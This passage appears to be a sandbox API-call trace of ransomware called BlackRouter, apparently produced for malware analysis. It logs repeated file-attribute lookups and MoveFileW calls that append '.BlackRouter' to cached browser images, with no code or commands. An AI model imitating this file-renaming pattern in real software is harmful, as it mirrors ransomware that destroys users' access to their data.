ftLastAccessTime.dwLowDateTime=0x45725f30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd575370, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1b0)) returned 1 [0065.141] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBkwUr[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbkwur[1].png.blackrouter")) returned 1 [0065.143] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x23b [0065.148] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a45c10, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a45c10, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd575370, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x240)) returned 1 [0065.148] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBlBV0U[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bblbv0u[1].png.blackrouter")) returned 1 [0065.149] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x6a6 [0065.159] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60ef0c80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60ef0c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd59b4d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x6b0)) returned 1 [0065.160] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\google_plus_16dp[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\google_plus_16dp[1].png.blackrouter")) returned 1 [0065.160] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x67 [0065.175] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfbb3b50, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfbb3b50, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcd5c1630, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x70)) returned 1 [0065.175] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\tecjslog[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\tecjslog[1].png.blackrouter")) returned 1 [0065.176] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x5feb [0065.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53bb22b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bb22b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd5e7790, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5ff0)) returned 1 [0065.194] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\b367c075-d98a-457d-b37d-3d9e8ab53e8b[1].jpg.blackrouter")) returned 1 [0065.195] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1c22 [0065.206] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ab8030, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ab8030, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd60d8f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1c30)) returned 1 [0065.206] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBB8ZbM[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbb8zbm[1].jpg.blackrouter")) returned 1 [0065.207] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2ac7 [0065.215] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x642446e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x642446e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd633a50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2ad0)) returned 1 [0065.215] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBCFjo[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbcfjo[1].jpg.blackrouter")) returned 1 [0065.216] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x7c9 [0065.229] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x533cf9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x533cf9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd659bb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7d0)) returned 1 [0065.229] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBDtcM[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbdtcm[1].jpg.blackrouter")) returned 1 [0065.230] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1f19 [0065.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53b8c150, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b8c150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd659bb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1f20)) returned 1 [0065.234] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBIeNJ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbienj[1].jpg.blackrouter")) returned 1 [0065.236] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x711 [0065.239] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53598a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53598a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd659bb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x720)) returned 1 [0065.239] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBImKX[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbimkx[1].jpg.blackrouter")) returned 1 [0065.240] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2569 [0065.253] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b9c870, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b9c870, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcd67fd10, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2570)) returned 1 [0065.253] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBL4R9[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbl4r9[1].jpg.blackrouter")) returned 1 [0065.254] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x30d2 [0065.261] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x539049f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x539049f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd6a5e70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x30e0)) returned 1 [0065.261] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBLhTZ[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbblhtz[1].jpg.blackrouter")) returned 1 [0065.262] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x9b9 [0065.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53337450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53337450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd6a5e70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x9c0)) returned 1 [0065.274] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBnhZY[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbnhzy[1].jpg.blackrouter")) returned 1 [0065.275] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x48f4 [0065.285] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x671dfee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x671dfee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd6cbfd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x4900)) returned 1 [0065.285] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPhAr[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbphar[1].jpg.blackrouter")) returned 1 [0065.286] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1c21 [0065.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e28590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e28590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd6f2130, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1c30)) returned 1 [0065.298] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPiby[1].jpg.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpiby[1].jpg.blackrouter")) returned 1 [0065.299] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x16bf [0065.308] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53063a30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53063a30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcd6f2130, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x16c0)) returned 1 [0065.309] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\BBBPmXJ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\bbbpmxj[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary 